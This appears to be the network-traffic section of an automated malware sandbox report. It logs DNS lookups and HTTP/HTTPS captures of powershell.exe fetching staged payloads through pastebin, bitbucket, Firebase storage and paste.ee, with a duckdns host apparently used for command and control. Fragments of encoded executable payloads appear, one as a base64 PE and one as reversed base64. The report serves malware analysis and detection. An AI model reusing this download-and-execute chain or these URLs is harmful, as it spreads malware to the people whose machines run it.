Oct 3, 2024 06:53:05.478642941 CEST	1.1.1.1	192.168.2.5	0x97e4	No error (0)	pastebin.com		104.20.4.235	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:05.478642941 CEST	1.1.1.1	192.168.2.5	0x97e4	No error (0)	pastebin.com		172.67.19.24	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:05.478642941 CEST	1.1.1.1	192.168.2.5	0x97e4	No error (0)	pastebin.com		104.20.3.235	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:07.122102022 CEST	1.1.1.1	192.168.2.5	0xe00b	No error (0)	bitbucket.org		185.166.143.50	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:07.122102022 CEST	1.1.1.1	192.168.2.5	0xe00b	No error (0)	bitbucket.org		185.166.143.49	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:07.122102022 CEST	1.1.1.1	192.168.2.5	0xe00b	No error (0)	bitbucket.org		185.166.143.48	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:08.542387009 CEST	1.1.1.1	192.168.2.5	0x8f48	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 06:53:08.542387009 CEST	1.1.1.1	192.168.2.5	0x8f48	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 06:53:08.542387009 CEST	1.1.1.1	192.168.2.5	0x8f48	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.144.11	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:08.542387009 CEST	1.1.1.1	192.168.2.5	0x8f48	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.56.241	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:08.542387009 CEST	1.1.1.1	192.168.2.5	0x8f48	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.9.142	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:08.542387009 CEST	1.1.1.1	192.168.2.5	0x8f48	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.21.148	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:08.542387009 CEST	1.1.1.1	192.168.2.5	0x8f48	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.212.185	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:08.542387009 CEST	1.1.1.1	192.168.2.5	0x8f48	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.196.177	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:08.542387009 CEST	1.1.1.1	192.168.2.5	0x8f48	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.51.17	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:08.542387009 CEST	1.1.1.1	192.168.2.5	0x8f48	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.38.161	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:13.601444960 CEST	1.1.1.1	192.168.2.5	0x69bb	No error (0)	paste.ee		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:13.601444960 CEST	1.1.1.1	192.168.2.5	0x69bb	No error (0)	paste.ee		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:15.244723082 CEST	1.1.1.1	192.168.2.5	0x4664	No error (0)	toskaadmx.duckdns.org		46.246.14.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:30.031774998 CEST	1.1.1.1	192.168.2.5	0x4da6	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 06:53:30.031774998 CEST	1.1.1.1	192.168.2.5	0x4da6	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 06:53:30.031774998 CEST	1.1.1.1	192.168.2.5	0x4da6	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.25.83	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:30.031774998 CEST	1.1.1.1	192.168.2.5	0x4da6	No error (0)	s3-w.us-east-1.amazonaws.com		16.182.69.185	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:30.031774998 CEST	1.1.1.1	192.168.2.5	0x4da6	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.27.162	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:30.031774998 CEST	1.1.1.1	192.168.2.5	0x4da6	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.112.17	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:30.031774998 CEST	1.1.1.1	192.168.2.5	0x4da6	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.168.217	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:30.031774998 CEST	1.1.1.1	192.168.2.5	0x4da6	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.114.251	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:30.031774998 CEST	1.1.1.1	192.168.2.5	0x4da6	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.208.241	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:30.031774998 CEST	1.1.1.1	192.168.2.5	0x4da6	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.25.37	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pastebin.com

bitbucket.org

bbuseruploads.s3.amazonaws.com

paste.ee

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.20.4.235	80	6400	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:53:05.490550995 CEST	74	OUT	GET /raw/V9y5Q5vv HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Oct 3, 2024 06:53:05.942696095 CEST	472	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 03 Oct 2024 04:53:05 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 03 Oct 2024 05:53:05 GMT Location: https://pastebin.com/raw/V9y5Q5vv Server: cloudflare CF-RAY: 8cca5397cf9b426d-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49721	104.20.4.235	80	7096	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:53:27.427201986 CEST	74	OUT	GET /raw/V9y5Q5vv HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Oct 3, 2024 06:53:27.892222881 CEST	472	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 03 Oct 2024 04:53:27 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 03 Oct 2024 05:53:27 GMT Location: https://pastebin.com/raw/V9y5Q5vv Server: cloudflare CF-RAY: 8cca5420fd3d41c0-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	104.20.4.235	443	6400	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:06 UTC	74	OUT	GET /raw/V9y5Q5vv HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-10-03 04:53:07 UTC	388	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:07 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: MISS Last-Modified: Thu, 03 Oct 2024 04:53:07 GMT Server: cloudflare CF-RAY: 8cca539c2bd4438d-EWR
2024-10-03 04:53:07 UTC	83	IN	Data Raw: 34 64 0d 0a 68 74 74 70 73 3a 2f 2f 62 69 74 62 75 63 6b 65 74 2e 6f 72 67 2f 38 39 39 39 39 39 39 39 39 39 39 39 39 39 2f 61 63 61 61 61 61 61 61 61 61 61 2f 64 6f 77 6e 6c 6f 61 64 73 2f 64 73 61 64 73 64 73 61 64 73 61 64 73 61 2e 74 78 74 0d 0a Data Ascii: 4dhttps://bitbucket.org/89999999999999/acaaaaaaaaa/downloads/dsadsdsadsadsa.txt
2024-10-03 04:53:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	185.166.143.50	443	6400	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:07 UTC	118	OUT	GET /89999999999999/acaaaaaaaaa/downloads/dsadsdsadsadsa.txt HTTP/1.1 Host: bitbucket.org Connection: Keep-Alive
2024-10-03 04:53:08 UTC	5124	IN	HTTP/1.1 302 Found Date: Thu, 03 Oct 2024 04:53:08 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: AtlassianEdge Location: https://bbuseruploads.s3.amazonaws.com/5c1faa65-8df1-44b3-9eef-4905cfb21066/downloads/153f1b3b-a7e8-4b91-b2b1-19798dd254b2/dsadsdsadsadsa.txt?response-content-disposition=attachment%3B%20filename%3D%22dsadsdsadsadsa.txt%22&AWSAccessKeyId=ASIA6KOSE3BNKASUWRVB&Signature=GfpU0CqDcq625CnXQ2BwtNOiGJM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEG0aCXVzLWVhc3QtMSJHMEUCIQDs8Rj4z4voHrA56yVpXNvb%2FsFKDQyxi%2B3o3W5qfuWusQIgLqQzvBFMFXX9Pa%2BoyIG%2B32jske%2BWh0S25%2Fynj2NB%2BBcqsAIItv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDMxhE6dop%2BJnHoLfPiqEAr8pHVnooTfi0YZkbhehEoaE1HM1hw7hoHIkopPIOTznsgPJgLmSVn4zaLDAXaFsXvcbpwil5pqs3yLuDuXNAyT6tr7PxdlycD%2FAJaRj7XgTxDLyt2nktlqdkRlEDXnBOTxrFM34uHRZq4gQIcXM%2FdeP1gNTHuVllr4hqgc8BtyPI0oFU6TWGdV61p4JgXiTcM8X%2Fs7Y2pNAaZQaYh1Kwk80bLwXYNBkJqe6fudHaku2Hr19n%2FI7ovUAmCunSxhwXenqzPnDzZTCwFDsnRaZo0mTJvCImTLI6KCQcZQtPWh0Q7P%2BZ8u6QsTrnfwdgKJJpE7FElvkKACOC6bBrj07%2FazaST1qMKXB%2BLcGOp0BIzHMRr4XYnUMQ24ozLJjMYALd1nwf%2BbKAue7hm%2By1s%2B%2BelqorxCz52uzxR1zc6F5j%2F8PF66cEvqBdIobK [TRUNCATED] Expires: Thu, 03 Oct 2024 04:53:08 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private X-Used-Mesh: False Vary: Accept-Language, Origin Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file X-Dc-Location: Micros-3 X-Served-By: 49d3df9e6680 X-Version: c0c21fc30b85 X-Static-Version: c0c21fc30b85 X-Request-Count: 1773 X-Render-Time: 0.041318655014038086 X-B3-Traceid: 7e9ee825fd3145a9b0b5daf02ab0c10a X-B3-Spanid: a4953380863fed55 X-Frame-Options: SAMEORIGIN Content-Security-Policy: script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; base-uri 'self'; object-src 'none'; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.c [TRUNCATED] X-Usage-Quota-Remaining: 999145.950 X-Usage-Request-Cost: 866.23 X-Usage-User-Time: 0.020627 X-Usage-System-Time: 0.005360 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: 7e9ee825fd3145a9b0b5daf02ab0c10a Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Server-Timing: atl-edge;dur=152,atl-edge-internal;dur=2,atl-edge-upstream;dur=150,atl-edge-pop;desc="aws-eu-central-1" Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49707	52.216.144.11	443	6400	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:09 UTC	1217	OUT	GET /5c1faa65-8df1-44b3-9eef-4905cfb21066/downloads/153f1b3b-a7e8-4b91-b2b1-19798dd254b2/dsadsdsadsadsa.txt?response-content-disposition=attachment%3B%20filename%3D%22dsadsdsadsadsa.txt%22&AWSAccessKeyId=ASIA6KOSE3BNKASUWRVB&Signature=GfpU0CqDcq625CnXQ2BwtNOiGJM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEG0aCXVzLWVhc3QtMSJHMEUCIQDs8Rj4z4voHrA56yVpXNvb%2FsFKDQyxi%2B3o3W5qfuWusQIgLqQzvBFMFXX9Pa%2BoyIG%2B32jske%2BWh0S25%2Fynj2NB%2BBcqsAIItv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDMxhE6dop%2BJnHoLfPiqEAr8pHVnooTfi0YZkbhehEoaE1HM1hw7hoHIkopPIOTznsgPJgLmSVn4zaLDAXaFsXvcbpwil5pqs3yLuDuXNAyT6tr7PxdlycD%2FAJaRj7XgTxDLyt2nktlqdkRlEDXnBOTxrFM34uHRZq4gQIcXM%2FdeP1gNTHuVllr4hqgc8BtyPI0oFU6TWGdV61p4JgXiTcM8X%2Fs7Y2pNAaZQaYh1Kwk80bLwXYNBkJqe6fudHaku2Hr19n%2FI7ovUAmCunSxhwXenqzPnDzZTCwFDsnRaZo0mTJvCImTLI6KCQcZQtPWh0Q7P%2BZ8u6QsTrnfwdgKJJpE7FElvkKACOC6bBrj07%2FazaST1qMKXB%2BLcGOp0BIzHMRr4XYnUMQ24ozLJjMYALd1nwf%2BbKAue7hm%2By1s%2B%2BelqorxCz52uzxR1zc6F5j%2F8PF66cEvqBdIobKudxk1ywppJrtepYoNJnvllkE9hTI8QXxVteGCBkiJsAP [TRUNCATED] Host: bbuseruploads.s3.amazonaws.com Connection: Keep-Alive
2024-10-03 04:53:09 UTC	532	IN	HTTP/1.1 200 OK x-amz-id-2: yJbd0TDyqmR/wwOrU8w19vEqzLHDmjfuRJZAFaWwl1vK1ZG6uQOJI73h0gJ42Y9rROKYgG3WmWI= x-amz-request-id: VQ9ZX2N9XR3NN1N4 Date: Thu, 03 Oct 2024 04:53:10 GMT Last-Modified: Thu, 03 Oct 2024 02:55:57 GMT ETag: "d56deb4b43b26b748bc2d1b71f2b2745" x-amz-server-side-encryption: AES256 x-amz-version-id: bnHQMdnIBnCcgFolFg0Y53FDW8.EhoTE Content-Disposition: attachment; filename="dsadsdsadsadsa.txt" Accept-Ranges: bytes Content-Type: text/plain Server: AmazonS3 Content-Length: 12972 Connection: close
2024-10-03 04:53:09 UTC	12972	IN	Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 4f 34 46 2f 6d 59 41 41 41 41 41 41 41 41 41 41 4f 41 41 49 69 41 4c 41 56 41 41 41 42 34 41 41 41 41 47 41 41 41 41 41 41 41 41 50 6a 77 41 41 41 41 67 41 41 41 41 41 41 41 41 41 41 41 41 45 41 41 67 41 41 41 41 41 67 41 Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAO4F/mYAAAAAAAAAAOAAIiALAVAAAB4AAAAGAAAAAAAAPjwAAAAgAAAAAAAAAAAAEAAgAAAAAgA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49708	104.20.4.235	443	6400	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:10 UTC	50	OUT	GET /raw/sFgsbG3v HTTP/1.1 Host: pastebin.com
2024-10-03 04:53:10 UTC	391	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:10 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Thu, 03 Oct 2024 04:53:10 GMT Server: cloudflare CF-RAY: 8cca53b41bf38c7d-EWR
2024-10-03 04:53:10 UTC	142	IN	Data Raw: 38 38 0d 0a 68 74 74 70 73 3a 2f 2f 66 69 72 65 62 61 73 65 73 74 6f 72 61 67 65 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 76 30 2f 62 2f 72 6f 64 72 69 61 6b 64 2d 38 34 31 33 64 2e 61 70 70 73 70 6f 74 2e 63 6f 6d 2f 6f 2f 50 65 25 32 46 70 2e 74 78 74 3f 61 6c 74 3d 6d 65 64 69 61 26 74 6f 6b 65 6e 3d 61 37 34 30 32 65 33 30 2d 37 33 31 62 2d 34 30 32 61 2d 61 62 36 35 2d 62 34 66 66 62 64 62 65 38 39 30 64 0d 0a Data Ascii: 88https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/Pe%2Fp.txt?alt=media&token=a7402e30-731b-402a-ab65-b4ffbdbe890d
2024-10-03 04:53:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49710	104.20.4.235	443	6400	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:12 UTC	50	OUT	GET /raw/cD7bJS7b HTTP/1.1 Host: pastebin.com
2024-10-03 04:53:13 UTC	388	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:13 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: MISS Last-Modified: Thu, 03 Oct 2024 04:53:13 GMT Server: cloudflare CF-RAY: 8cca53c4ce20de97-EWR
2024-10-03 04:53:13 UTC	32	IN	Data Raw: 31 61 0d 0a 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 2e 65 65 2f 64 2f 6c 48 62 48 6f 2f 30 0d 0a Data Ascii: 1ahttps://paste.ee/d/lHbHo/0
2024-10-03 04:53:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49711	188.114.96.3	443	6400	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:14 UTC	67	OUT	GET /d/lHbHo/0 HTTP/1.1 Host: paste.ee Connection: Keep-Alive
2024-10-03 04:53:14 UTC	1200	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:14 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k6onGmFIzPxqj3cE9xQSS9k90uaIKPC5l2Ak68C7iDYRcu54Rs8q%2FJST5izVhpUdxQdNiLyuOd8mqsHY02cJTWaSmzzhFNlXeB9yEDcRqN9EedcMfMshHHktqg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca53cb4a5d17b1-EWR
2024-10-03 04:53:14 UTC	169	IN	Data Raw: 66 37 66 0d 0a 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: f7f=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-03 04:53:14 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-03 04:53:14 UTC	1369	IN	Data Raw: 4e 6e 63 6c 5a 48 49 35 52 58 61 30 35 57 5a 6b 6c 55 65 73 4a 57 62 6c 4e 33 63 68 78 44 49 67 6f 51 44 2b 49 43 4d 75 45 6a 49 39 34 32 62 70 4e 6e 63 6c 5a 46 64 7a 56 6d 5a 70 35 57 59 74 42 69 49 78 59 6e 4c 74 4e 58 59 36 30 32 62 6a 31 43 64 6d 39 32 63 76 4a 33 59 70 31 57 4c 7a 46 57 62 6c 68 32 59 7a 70 6a 62 79 56 6e 49 39 4d 6e 62 73 31 47 65 67 6b 48 62 69 31 57 5a 7a 4e 58 59 38 6f 51 44 2b 38 6a 49 7a 56 57 65 69 30 54 5a 75 39 47 62 68 52 6d 62 68 52 33 63 67 49 43 4f 74 59 45 56 56 4a 53 50 6e 35 57 61 6b 39 32 59 75 56 47 49 69 41 6a 4c 78 49 53 50 75 39 57 61 7a 4a 58 5a 32 42 43 62 74 68 33 50 38 38 37 75 76 44 41 41 41 41 44 41 75 41 41 4d 41 34 43 41 77 41 67 4c 41 45 44 41 41 41 67 62 41 38 47 41 70 42 77 63 41 49 48 41 6c 42 67 56 Data Ascii: NnclZHI5RXa05WZklUesJWblN3chxDIgoQD+ICMuEjI942bpNnclZFdzVmZp5WYtBiIxYnLtNXY602bj1Cdm92cvJ3Yp1WLzFWblh2YzpjbyVnI9Mnbs1GegkHbi1WZzNXY8oQD+8jIzVWei0TZu9GbhRmbhR3cgICOtYEVVJSPn5Wak92YuVGIiAjLxISPu9WazJXZ2BCbth3P887uvDAAAADAuAAMA4CAwAgLAEDAAAgbA8GApBwcAIHAlBgV
2024-10-03 04:53:14 UTC	1067	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 